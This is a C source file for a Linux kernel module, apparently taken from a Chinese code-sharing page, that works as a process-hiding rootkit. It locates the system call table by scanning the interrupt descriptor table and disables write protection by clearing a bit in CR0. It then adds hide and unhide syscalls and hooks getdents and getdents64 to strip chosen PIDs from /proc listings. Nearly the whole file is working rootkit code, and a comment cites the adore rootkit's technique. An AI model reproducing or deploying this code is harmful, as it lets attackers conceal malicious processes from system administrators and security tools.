📄 hack.c
字号:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/string.h>
#include <linux/pid.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>
//add by chenken
#include<linux/spinlock.h>
#define __NR_hideprocess 223
#define __NR_unhideprocess 251
#ifndef PID_MAX
#define PID_MAX 0x8000
#endif
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);
asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
//
static char hidden_procs[PID_MAX/8 + 1];
inline char is_invisible(pid_t x)
{
if (x >= PID_MAX)
return 0;
return hidden_procs[x / 8] & (1 << (x % 8));
}
//begin: to get the sys_call_table
unsigned long *sys_call_table = NULL;
static unsigned int origcr0 = 0;
struct idt_tag {
unsigned short offset_low, segment_select;
unsigned char reserved, flags;
unsigned short offset_high;
};
unsigned int clear_and_return_origCR0(void)
{
unsigned int cr0 = 0;
unsigned int ret = -1;
__asm__ __volatile__ (
"movl %%cr0,%%eax"
:"=a"(cr0)
);
ret = cr0;
cr0 = cr0 & 0xfffeffff;
__asm__ __volatile__ (
"movl %%eax,%%cr0"
::"a"(cr0)
);
return ret;
}
void setbackCR0(unsigned int pCR0)
{
__asm__ __volatile__ (
"movl %%eax,%%cr0"
::"a"(pCR0)
);
}
static unsigned long getSyscallTable(void)
{
unsigned char idtr[6], *shell, *sort;
struct idt_tag *idt;
unsigned long system_call, sct;
unsigned short offset_low, offset_high;
char *p;
int i;
__asm__("sidt %0":"=m"(idtr));
idt = (struct idt_tag*) ((*(unsigned long*) &idtr[2]) + 8 * 0x80);
offset_low = idt->offset_low;
offset_high = idt->offset_high;
system_call = (offset_high) << 16 | offset_low;
shell = (char*) system_call;
sort = "\xff\x14\x85";
for (i = 0; i < 100 - 2; i++)
if (shell[i] == sort[0] && shell[i + 1] == sort[1] && shell[i + 2]
== sort[2])
break;
p = &shell[i] + 3;
sct = *(unsigned long*) p;
return sct;
}
//end: get sys_call_table
int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
if (*ptr < '0' || *ptr > '9')
return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
return (res);
}
struct task_struct *find_task(pid_t pid)
{
struct task_struct *p; // ???????????????????not current ?
//tasklist_lock my be modified to rwlock_t, have been modified three position
//read_lock(&tasklist_lock);
for_each_process(p) {
if (p->pid == pid) {
//read_unlock(&tasklist_lock);
return p;
}
}
//read_unlock(&tasklist_lock);
return NULL;
}
//PF_INVISIBLE和PF_AUTH。如果进程控制块标志域的PF_INVISIBLE位被置位就表示进程是不可以显示的。
//进程标志PF_AUTH是用来限制对于隐藏进程的操作,只能具有PF_AUTH进程标志的进程才具有对被隐藏进程某些操作权限(例如:kill),
//而如果不进行验证,用户只要向系统的第2到第NR_TASKS号进程发出SIGVISIBLE信号,就可以轻松使被adore隐藏的进程露出原型。
asmlinkage unsigned long hide_process(pid_t x)
{
// printk("%d\n", x);
if (x >= PID_MAX )
return -EINVAL;
else if(find_task(x))
{
hidden_procs[x / 8] |= 1 << (x % 8);
return 0;
}
else
return -EINVAL;
}
asmlinkage unsigned long unhide_process(pid_t x)
{
// printk("%d\n", x);
if (x >= PID_MAX )
return -EINVAL;
else if(find_task(x))
{
hidden_procs[x / 8] &= ~(1 << (x % 8));
return 0;
}
else
return -EINVAL;
}
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count)
{
long value;
struct inode *dinode;
int len = 0;
int tlen = 0;
value = (*orig_getdents) (fd, dirp, count);
dinode=current->files->fdt->fd[fd]->f_dentry->d_inode;
tlen = value;
if(dinode->i_ino==PROC_ROOT_INO)
{
// printk("fd:%d,d_reclen:%d,tlen:%d,dname:%s,found proc\n",fd,dirp->d_reclen,tlen,dirp->d_name);
// printk("\n");
while(tlen>0)
{
len=dirp->d_reclen;
tlen=tlen-len;
if(is_invisible(myatoi(dirp->d_name)))
{
// printk("*****found pid=2\n");
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
}
if(tlen>0)
{
// printk("sub::d_reclen:%d,tlen:%d,dname:%s,\n",dirp->d_reclen,tlen,dirp->d_name);//current dirp
dirp=(struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//next dirp
}
}
}
return value;
}
asmlinkage long hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
//added by lsc for process
long value;
struct inode *dinode;
int len = 0;
int tlen = 0;
// struct linux_dirent64 *mydir = NULL;
//end
value = (*orig_getdents64) (fd, dirp, count);
dinode=current->files->fdt->fd[fd]->f_dentry->d_inode;
tlen = value;
if(dinode->i_ino==PROC_ROOT_INO)
{
// printk("fd:%d,d_reclen:%d,tlen:%d,dname:%s,found proc\n",fd,dirp->d_reclen,tlen,dirp->d_name);
// printk("\n");
while(tlen>0)
{
len=dirp->d_reclen;
tlen=tlen-len;
if(is_invisible(myatoi(dirp->d_name)))
{
// printk("*****%s is invisible\n",dirp->d_name);
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
}
if(tlen>0)
{
// printk("sub::d_reclen:%d,tlen:%d,dname:%s,\n",dirp->d_reclen,tlen,dirp->d_name);//current dirp
dirp=(struct linux_dirent64 *) ((char *)dirp + dirp->d_reclen);//next dirp
}
}
}
return value;
}
static int __init myinit(void)
{
memset(hidden_procs, 0, sizeof(hidden_procs));
sys_call_table = (unsigned long*)getSyscallTable();
origcr0 = clear_and_return_origCR0();
sys_call_table[__NR_hideprocess]=(unsigned long)hide_process;
sys_call_table[__NR_unhideprocess]=(unsigned long)unhide_process;
orig_getdents = sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents] = (unsigned long)hacked_getdents;
orig_getdents64 = sys_call_table[__NR_getdents64];
sys_call_table[__NR_getdents64] = (unsigned long)hacked_getdents64;
setbackCR0(origcr0);
printk("test hide process sys call!\n");
return 0;
}
static void __exit myexit(void)
{
if (sys_call_table)
{
origcr0 = clear_and_return_origCR0();
sys_call_table[__NR_getdents]=orig_getdents;
sys_call_table[__NR_getdents64]=orig_getdents64;
setbackCR0(origcr0);
}
printk("Good bye!");
}
module_init( myinit);
module_exit( myexit);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -